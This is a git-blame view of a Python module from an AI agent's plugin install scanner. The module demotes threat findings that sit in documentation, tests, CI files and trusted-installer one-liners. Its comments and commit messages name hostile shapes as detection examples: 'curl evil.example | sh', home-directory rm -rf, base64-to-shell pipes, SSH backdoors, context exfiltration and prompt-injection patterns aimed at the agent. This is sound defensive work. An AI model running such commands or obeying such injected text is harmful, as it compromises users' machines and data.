hermes-agent/tools/plugin_guard_context.py

837 lines
48 KiB
Python
Raw Permalink Normal View History

fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
"""Context demotions for plugin install-scan findings (``tools.plugin_guard``).
The threat regexes in ``tools.skills_guard`` are written for a SKILL.md the agent will execute
verbatim. A plugin repository is a codebase: the same text sits in READMEs, test fixtures, JSON
scenery, denylists and regex literals, where it cannot run on the host at install time. Each
helper here recognises one such *class* of inert context and lowers the finding one step or to
informational. Nothing is deleted — every finding stays in the report with file and line — and
nothing here applies to a bundled skill's own ``SKILL.md`` / ``skills/`` tree, which the agent
does read as instructions. Every function is a pure predicate on (finding, line, path).
"""
from __future__ import annotations
import base64
import binascii
import re
from pathlib import Path
from typing import Optional
from tools.skills_guard import _COMPILED_THREAT_PATTERNS, Finding
# pattern id -> compiled regex, to locate a finding's token on its full source line.
_PATTERN_BY_ID = {pid: rx for rx, pid, *_ in _COMPILED_THREAT_PATTERNS}
# One severity step down; ``medium``/``low`` are already informational (verdict-neutral).
STEP_DOWN = {"critical": "high", "high": "medium"}
# ── (1) documentation prose ──────────────────────────────────────────────────────────────────
# A README/AGENTS.md/docs page describing a command, a refused path (``~/.ssh`` in a denylist
# table) or an uninstall step is not the plugin's runtime behaviour. Command- and path-shaped
# findings there step down once (critical→high, high→medium): a doc line can never on its own
# hard-block an install. Agent-facing shapes keep full severity because the prose IS the
# payload for them: every ``injection`` pattern, the Markdown exfil/context patterns, the
# agent-config edits, ``curl | sh`` install one-liners (a README is where those live), an
# ``authorized_keys`` append, and a leaked provider key (a real secret is a real leak anywhere).
DOC_PROSE_EXTENSIONS = {".md", ".txt", ".rst", ".html"}
_PROSE_KEEPS_FULL_SEVERITY_CATEGORIES = {"injection", "credential_exposure"}
_PROSE_KEEPS_FULL_SEVERITY_IDS = {
"context_exfil", "send_to_url", "md_image_exfil", "md_link_exfil", "ssh_backdoor",
"curl_pipe_shell", "wget_pipe_shell", "curl_pipe_python",
"agent_config_mod", "agent_config_mod_shell", "agent_config_contract", "agent_config_ref",
"hermes_config_mod", "hermes_config_mod_shell", "hermes_config_ref",
"other_agent_config_mod", "other_agent_config_mod_shell", "other_agent_config_ref",
}
# Agent instruction surfaces inside a plugin — a bundled skill tree and the post-install note
# the agent is shown — are executed as instructions, so they get no prose cap.
_AGENT_INSTRUCTION_DIRS = {"skills", "optional-skills"}
_AGENT_INSTRUCTION_FILES = {"skill.md", "after-install.md"}
def is_doc_prose(rel_path: str) -> bool:
"""A documentation file that the loader never executes and the agent never runs as a skill."""
p = Path(rel_path)
if p.suffix.lower() not in DOC_PROSE_EXTENSIONS or p.name.lower() in _AGENT_INSTRUCTION_FILES:
return False
return not any(part.lower() in _AGENT_INSTRUCTION_DIRS for part in p.parts[:-1])
# A repository's CI pipeline (``.github/workflows/*.yml``) runs on the forge's runner, never on the
# host that installs the plugin, and the agent never reads it as instructions. Its ``os.environ``
# reads (``RUNNER_TEMP``, ``GITHUB_ENV``) and ``pip install`` steps are the CI's own plumbing, so
# it takes the same one-step prose cap as a README: visible, confirmable, never a hard block on
# its own. Only the workflow directory proper — a ``.github/scripts/*.py`` is real code.
_CI_WORKFLOW_SUFFIXES = {".yml", ".yaml"}
def is_ci_workflow(rel_path: str) -> bool:
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
"""A forge CI workflow definition: ``.github/workflows/<name>.yml`` or a GitLab ``.gitlab-ci.yml``.
Both run on the forge's runner, never on the host that installs the plugin, and the agent never
reads them as instructions, so they take the README prose cap (``os.environ`` reads, ``pip install``
steps and ``curl | sh`` of a CI tool are the pipeline's own plumbing)."""
p = Path(rel_path)
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
if p.name.lower() == ".gitlab-ci.yml":
return True
return (len(p.parts) == 3 and p.parts[0].lower() == ".github" and p.parts[1].lower() == "workflows"
and p.suffix.lower() in _CI_WORKFLOW_SUFFIXES)
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
def is_agent_facing(finding: Finding) -> bool:
"""A shape whose prose IS the payload (injection, agent-config edit, install one-liner, leaked key)."""
return (finding.category in _PROSE_KEEPS_FULL_SEVERITY_CATEGORIES
or finding.pattern_id in _PROSE_KEEPS_FULL_SEVERITY_IDS)
def prose_cap(finding: Finding) -> Optional[str]:
"""Stepped-down severity for a command/path-shaped finding in documentation, else None."""
return None if is_agent_facing(finding) else STEP_DOWN.get(finding.severity)
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
# ── (1c) documented ``curl | sh`` of a known installer ───────────────────────────────────────
# ``curl_pipe_shell`` keeps full severity in prose because a README — and a CI workflow — is exactly
# where a malicious download-and-execute one-liner would be planted (``curl evil.example | sh`` in a
# ``.github/workflows`` step stays ``high``). The documented, non-attack shape is a pipe whose URL is a
# NAMED trusted installer: Hermes' own ``install.sh``, a named upstream runtime (``ollama.com``,
# ``bun.sh``, ``get.docker.com``, ``sh.rustup.rs`` …), a named dev-tool CLI (``app.factory.ai``), or a
# GitHub ``raw`` URL whose path is an ``install`` script. That lands at medium (a note). An unpinned /
# unknown third-party domain — the attack shape — keeps full severity, in README, code, OR CI.
_PIPE_TO_SHELL_IDS = {"curl_pipe_shell", "wget_pipe_shell", "curl_pipe_python"}
_URL_IN_LINE = re.compile(r'https?://([^\s/"\'`)]+)([^\s"\'`)]*)')
_TRUSTED_INSTALLER_HOSTS = {
"hermes-agent.nousresearch.com", "ollama.com", "bun.sh",
"get.docker.com", "sh.rustup.rs", "deno.land", "astral.sh", "app.factory.ai",
}
def _is_trusted_installer_url(host: str, path: str) -> bool:
host = host.lower()
if host in _TRUSTED_INSTALLER_HOSTS:
return True
# A GitHub raw URL is user-controlled, so only an ``install``-named script path qualifies
# (``.../scripts/install.sh``, ``.../install-plugin.sh``), never an arbitrary payload.
return host == "raw.githubusercontent.com" and "install" in path.lower()
def is_trusted_installer_pipe(finding: Finding, line: str) -> bool:
"""A ``curl|sh`` finding whose every ``http(s)://`` URL is a named trusted installer — a documented
install step, not an attack. An unknown domain anywhere on the line disqualifies the whole line."""
if finding.pattern_id not in _PIPE_TO_SHELL_IDS:
return False
urls = [(m.group(1), m.group(2)) for m in _URL_IN_LINE.finditer(line)]
return bool(urls) and all(_is_trusted_installer_url(h, p) for h, p in urls)
feat(i18n): pluggable, layered language packs across core, Desktop and TUI (#126296) * feat(i18n): layered catalogs — plugin packs and user overlay over bundled locales * feat(tui): i18n layer — en catalog, nanostore runtime, RPC pack loader, _keys.tui.json emitter ui-tui/src/i18n/: en.ts (facade over topical siblings under en/), types.ts (Translations + dotted TranslationKey derived from en), runtime.ts ($locale/ $catalog atoms, translateFrom active→en→key, pack merge with string→fn wrapping for {0}/{1} placeholders), loader.ts (display.language → i18n.catalog {lang, surface:'tui'}, English when the method is missing), useT()/useLocale() hooks, t() for non-React code. useConfigSync feeds the loader from the existing config.get full hydration. `npm run i18n:keys` writes locales/_keys.tui.json (sorted flat key list) and runs before build. * feat(plugins): provides_locales manifest field, ctx.register_locale/register_locale_dir, manifest-only language packs * chore(tui): split en catalog siblings by lane (slash sibling) * feat(plugins): validate language packs — parse, text-only, key-subset WARN against en / _keys exports * feat(tui_gateway): i18n.languages / i18n.catalog RPC + regenerated contracts * feat(config): display.language accepts any supported_languages() id, refuses unknown ids with the list * docs(i18n): language packs user guide, pluggable display.language, plugin developer section, AGENTS notes * feat(plugins): report language-pack layers in the mid-run activation summary * feat(tui): wire status bar, composer placeholders, hotkey help and approval/clarify/confirm prompts through i18n StatusRule maps compared state values (ready/running…/summoning) to catalog text at render via displayStatus(); hotkeys()/placeholder() resolve lazily so a pack that arrives after boot applies. Catalog grows to 81 keys. * feat(desktop): pluggable app locales — registry, host.i18n.registerAppLocale, backend packs, keys emitter - Locale widens to string (BundledLocale keeps the union); TRANSLATIONS stays the bundled record and every consumer resolves through the registry. - src/i18n/registry.ts: registerAppLocale(id, {endonym, rtl, translations}) layers partial packs (nested or flat dotted) over bundled/en via mergeTranslations; a string over a function-valued en entry becomes a positional {0}/{1} formatter; $appLocaleVersion bumps so translators re-render; per-source disposers + replaceAppLocaleSource for atomic swaps. - Backend packs: i18n.languages + i18n.catalog {surface:'desktop'} feed the registry as source 'backend' (method-not-found is silent); re-synced on socket open, display.language change and profile switch. A saved pack-only language is promoted once its pack registers. - SDK: host.i18n.registerAppLocale / languageOptions; ctx.i18n.registerAppLocale tracked for unload. Docs in the desktop plugin SDK guide + skill reference. - Language switcher lists bundled ∪ registered ∪ backend, endonym-only; RTL from the registry (applyDocumentLocale takes rtl). - npm run i18n:keys emits locales/_keys.desktop.json (wired into build). * i18n(cli): route /topup + /subscription copy through t() (cli.billing.*, cli.subscription.*) Module-level copy tables and modal choice tuples in cli_billing_mixin.py froze English at import, before display.language was known. They are now key tables / builder functions evaluated at call time; every user-facing line in the /usage balance block, /subscription and the five /topup screens reads the catalog. Choice VALUES stay English identifiers. Fragment-assembled status lines (Plan: … → cancels · $x left · renews …) become full templates. * i18n(gateway): exec-approval card contract + base/run/run_busy/run_inbound replies through t() - base_exec_approval: EA_* English constants stay; add ea_header_text()/ea_reason_label_text()/ ea_smart_deny_line_text()/ea_default_reason_text()/ea_action_labels()/approval_timed_out_notice() accessors; deadline + timed-out notice resolve via gateway.exec_approval.* - BasePlatformAdapter._EA_HEADER/_EA_REASON_LABEL/_EA_SMART_DENY_LINE/_EA_ACTION_LABELS become properties (adapters still shadow them with markup class attrs) - run.py: provider error replies table holds catalog keys; _CONTEXT_OVERFLOW_REPLY -> _context_overflow_reply() - run_busy/run_inbound: typed approval + slash-confirm matchers accept English ∪ approval.inputs.* (t()) - locales/en.yaml: gateway.exec_approval/busy/errors/... namespaces * i18n(cli): wire modal, loops, agent-setup mixins through t() (cli.* keys) * i18n(platforms): route Slack, Matrix and Feishu user-facing text through t() Exec-approval markup overrides (_EA_HEADER/_EA_REASON_LABEL/_EA_SMART_DENY_LINE/ _EA_ACTION_LABELS) become per-call properties over the shared gateway.exec_approval.* contract keys, so Slack's 3000-char section budget measures the resolved template. Slack _APPROVAL_DECISIONS/_CONFIRM_DECISIONS, Feishu _APPROVAL_LABEL_MAP and Matrix _EA_LEGEND/_EA_TYPED_HINT turn into key tables resolved at click time; the Matrix typed hints become whole sentences per offered tier instead of spliced fragments. Slack button labels are cut to 75 chars and select placeholders to 150 after translation; the model-facing clarify fallback answer ('choice N') stays English while the card copy localizes. locales/en.yaml gains the gateway.exec_approval.* contract keys plus the platform.shared.* / platform.slack.* / platform.matrix.* / platform.feishu.* namespaces (and the keys for the other adapters wired in follow-up commits). * i18n(gateway): run_turn / run_turn_runner / approval-settle copy through t() - status hints, proxy errors, background task notices, progress heartbeats, session info lines - tool progress chrome (tool_head/tool_pending/tool_preview/tool_verbose) shared by base.format_tool_event - run_turn_runner:1406 Chinese clarify placeholder -> gateway.clarify.native_stream_placeholder (zh text kept in zh.yaml) - _UNEXPECTED_SILENCE_REPLY/_CLARIFY_EXPIRED_NOTICE -> accessor functions * i18n(platforms): route Google Chat and Teams user-facing text through t() Google Chat clarify card, typing placeholder, orphan-card labels and the whole /setup-files reply set (module constants become platform.google_chat.setup_files.* keys resolved at reply time). The attachment-fallback notice that shipped hardcoded in Spanish is keyed with an English en value; es.yaml carries the original Spanish text for those four keys. Teams approval card header/reason use the gateway.exec_approval.* contract, _APPROVAL_LABELS becomes a key table resolved at click time, and the meeting summary writer resolves its section headings/fallbacks per render. * i18n(platforms): route LINE, WeCom, email, DingTalk, IRC and Home Assistant text through t() LINE default copy constants become catalog keys resolved in __init__ (the LINE_*_TEXT / extra.* operator overrides still win); the busy-ack bypass matcher keys on the leading emoji marker only, so it keeps firing once the gateway busy heads are localized. WeCom media size/format notices that shipped hardcoded in Chinese are keyed with English en values and zh.yaml carries the original Chinese text. DingTalk emotion bubbles resolve per send. * i18n(cli): route /model switch output and -q status lines through t() (cli.model.*, cli.single_query.*) Switch-summary labels shared with the gateway reuse gateway.model.* keys (provider/context/max-output/capabilities/prompt-caching); CLI-only variants (glyph or no-backtick forms) live under cli.model.*. The hand-padded /model usage block becomes a (form, description-key) table padded at render time so the command syntax stays fixed while descriptions translate. -q 'Error:' reuses gateway.model.error_prefix. * i18n(cli): route TUI panel/hint/placeholder copy through t() (cli.tui.*) _APPROVAL_CHOICE_LABELS and _TUI_MODAL_HINTS become key tables resolved at render time; vault/sudo panel bodies are one catalog value per panel split on newline; inline plurals use <key>_one/<key>_other. Adds the cli.* namespace (shared/tui/voice/render/subagents/dock) to locales/en.yaml. * i18n(cli): voice/wake-word CLI copy through t() (cli.voice.*) RuntimeError texts raised in _voice_start_recording are human copy (callers print {e}) and are keyed; the Termux requirement-check match stays English. Wake state ids stay internal, only their labels localize. * i18n(cli): live-work dock, subagent monitor and render copy through t() cli.subagents.* / cli.dock.* / cli.render.*; count fragments pluralize via _one/_other keys, verdict table holds keys resolved at paint time so width clipping measures the translated text. * i18n(gateway): unauthorized/pairing, voice, topics, shutdown, startup, notifications, kanban pings through t() * i18n(cli): move tips + composer placeholders into the catalog (tips.tNNN / tips.placeholder.pNN) get_random_tip()/get_random_composer_placeholder() pick a key from the English catalog (the parity baseline, probed once per process) and resolve it through t() for the active language, so language packs translate tips like any other string. Also lands the cli.* en.yaml namespace consumed by the CLI info/help/error-copy wiring in the next commit. * i18n(cli): wire chat-turn + session mixins through t(); kanban log trimmer matches t() output * test(cli): assert TUI/dock/voice copy via t(key); prove labels resolve at render time Pinned-English assertions in the approval-UI, live-work dock and voice tests now go through the catalog. New test swaps the catalog after import and checks the approval panel + hint row follow it (the reason _APPROVAL_CHOICE_LABELS and _TUI_MODAL_HINTS became key tables). * i18n(cli): route CLI info/help/error copy through t() (cli.* namespace) cli_info_mixin: /help consumes CommandDef.describe() (added to commands.py: slash.<name>.description with fallback to .description), section titles/skill/quick-command headers, /tools, /toolsets, /usage labels, /context, /whoami, /insights, /gateway status, tool-progress labels, bang-shell denials, MCP config-watch + /reload-mcp confirm/reload lines, /reload-skills, and the session-store warning all read the catalog at call time (module-level label tables became functions so the active language is honoured after startup). cli.py: worktree cleanup, tirith warning, show_config (labels re-padded at print time), quick/plugin/skill slash-command errors, ambiguous-command hint, stdin error, gateway start, profile warning. cli_chat_error_copy / cli_unknown_command / cli_output / cli_init_mixin: chat error panel copy, did-you-mean lines, n-more / yes-no prompt (localized affirmative initial alongside 'y'), unknown-toolsets warning. * i18n(w1a): wire agent display/explainers/approval + slash registry/help through t() - hermes_cli/commands.py: CommandDef.describe() resolves slash.<name>.description at call time; category labels via slash.category.*; help/alias/usage suffixes via slash.shared.*; gateway_help_lines and commands_platforms/slash_exec use them. - agent/display.py: display.verb.* resolved at call time via get_tool_verb(); bridge/spinner/thinking-verb/cute-row/failure/preview/diff text via display.*. - agent/turn_explainers.py: exit-reason / persistence-cause tables become call-time lookups (explainer.exit.*, explainer.persistence.*, explainer.file_mutation.*). - agent/background_review.py, session_activity.py, context_breakdown.py, status_output.py: review summaries, iteration progress, context notices. - tools/approval.py, approval_context.py: approval.summary.*, approval.noun.*, approval.window.* pluralized keys. - gateway/slash_commands*.py: remaining raw strings (busy, whoami, platform, bundles, memory, skills, approvals, set_home, diff, update, debug, profile, heartbeat, refine, review, subgoal, loop, retry, compress codex path, save, sessions, model guard/errors, agents rows, topup, login). HISTORY_UNREADABLE keeps its English constant; callers use history_unreadable() -> gateway.shared.history_unreadable. - locales/en.yaml: new approval/display/explainer/slash blocks + gateway leftovers. * i18n(telegram): route adapter chat copy through t() Approval card (header/reason/smart-deny as HTML-escaped properties), inline button labels, callback toasts (cut at Telegram's 200-char cap), model/choice pickers, clarify/update/slash-confirm prompts, gmail-triage labels and the inbound-media failure notice now come from the catalog. _UNAUTHORIZED is a lazy _unauthorized() so the import no longer binds a language. The command menu carries a language+payload fingerprint (forum scopes re-register on change) and BotCommand descriptions are cut at 256. Adds gateway.exec_approval.* (WAVE2 contract), platform.telegram.*, platform.discord.* and the slash.*.description keys the Discord table shares with the CLI registry to locales/en.yaml. * i18n(gateway/platforms): whatsapp_cloud, yuanbao, weixin, signal, api_server copy through t() - whatsapp_cloud: clarify list/buttons, approve/deny + slash-confirm labels via platform.whatsapp.* (t()-then-truncate at 20/24/72 caps); _EA_HEADER becomes a property wrapping ea_header_text() - yuanbao: SLOW_RESPONSE_MESSAGE -> slow_response_message() (platform.yuanbao.slow_response_notice; zh keeps the original text); cron-wrapper markers centralized as module constants for strip_cron_wrapper - api_server: PROVIDER_AUTH_FAILED_LABEL/PROVIDER_RATE_LIMITED_LABEL stay English for run.py matchers; user_text() renders via t() - signal/_format_wait, weixin voice caption, openai_routes transformed notice - run_turn: second _UNEXPECTED_SILENCE_REPLY consumer -> accessor * i18n(discord): route adapter chat copy through t() Native slash-command table becomes _NATIVE_SLASH_COMMAND_SPECS holding catalog keys; _native_slash_commands() resolves descriptions, parameter descriptions and Choice names for the active language, each cut at Discord's 100-char cap, and the app-command sync fingerprint now includes get_language() so a display.language change re-syncs. Exec-approval card (gateway.exec_approval.* contract), slash-confirm / clarify / update views, model+choice pickers, thread creation, forum titles, voice acks, the response-truncation notice, the unauthorized-slash security alert and the media upload-size notices all read from platform.discord.*. Decorator-declared button labels are relabelled in __init__ (80-char cap); embed titles cut at 256, select placeholders at 150, option label/description at 100. _UNAUTHORIZED is a lazy _unauthorized(). * i18n(cli): wire status-bar, stream, terminal mixins + terminal_input through t(); rename kwargs that shadow t(key) * i18n: wire hermes_cli/cli_commands_mixin.py slash-command copy through t() - 431 new leaves under cli.commands.<cmd>.* in locales/en.yaml; 12 rows reuse existing gateway.* keys (rollback, diff, resume, branch, btw, model, reasoning) via a _gt() helper so CLI and gateway replies stay identical. - Module-level English tables (_BUSY_MODE_*, _REASONING_TOGGLES, _HATCH_PROGRESS, _DIFF_LABELS, _LOCAL_ENGINE_LINES) become call-time catalog lookups keyed by id. - Verb tables (Enabling/Disabling, Paused/Resumed/Triggered, planned/done, Updating/Generating) are one full template per variant; plurals use <key>_one/<key>_other via _tn(); hand-padded column labels (/snapshot list) translate the value and re-pad at the call site. - Multi-line usage blocks are single catalog values split with _lines(). - Model-facing system notes and DB-stored reasons stay English (EXCLUDED). * tests: assert /handoff, /worktree, /login CLI copy via t(key) instead of pinned English * test(i18n): pin Telegram/Discord adapter catalog wiring Lazy unauthorized notice, exec-approval contract keys, HTML escaping before Telegram <b> wrapping, 200-char toast / 256-char BotCommand caps, Discord 100-char app-command text and 80-char button caps, and language-bearing command-menu fingerprints on both platforms. * i18n: reconcile cli.shared on/off vs enabled/disabled after lane merge * i18n: describe() in TUI-gateway slash listings; localize TUI exit resume hint * i18n(tr): translate bundled catalog + tui pack * i18n(ja): translate bundled catalog + tui pack * i18n(ko): translate bundled catalog + tui pack * i18n(zh): translate bundled catalog + tui pack * i18n(fr): translate bundled catalog + tui pack * i18n(af): translate bundled catalog + tui pack * i18n(uk): translate bundled catalog + tui pack * i18n(ar): translate bundled catalog + tui pack * i18n(pt): translate bundled catalog + tui pack * i18n(it): translate bundled catalog + tui pack * i18n(es): translate bundled catalog + tui pack * i18n(zh-hant): translate bundled catalog + tui pack * i18n(ru): translate bundled catalog + tui pack * i18n(hu): translate bundled catalog + tui pack * i18n(hu): translate pre-existing English-valued leftovers (kanban wake, /context, /status, fast labels) * i18n(de): translate bundled catalog + tui pack * i18n(ga): translate bundled catalog + tui pack * test(i18n): fixture matches _normalize_lang(lang, home) signature * i18n(tui): scaffold userMessages/slashCmd en siblings * i18n(tui): wire secure prompts + content tables * feat(tui): i18n — wire billing, subscription, connection-setup and journey overlays Adds en siblings billing.ts / subscription.ts / connection.ts (namespaces billing, subscription, connection, journey) and routes every user-facing literal in billingOverlay, subscriptionOverlay, connectionSetupOverlay and journey through useT()/messages(). Module-level label tables became lazy (scopeStillDeniedResult(), verbOf(T, action)); auto-reload rows dispatch on stable ids instead of label text. Regenerates locales/_keys.tui.json. * i18n(tui): wire slash 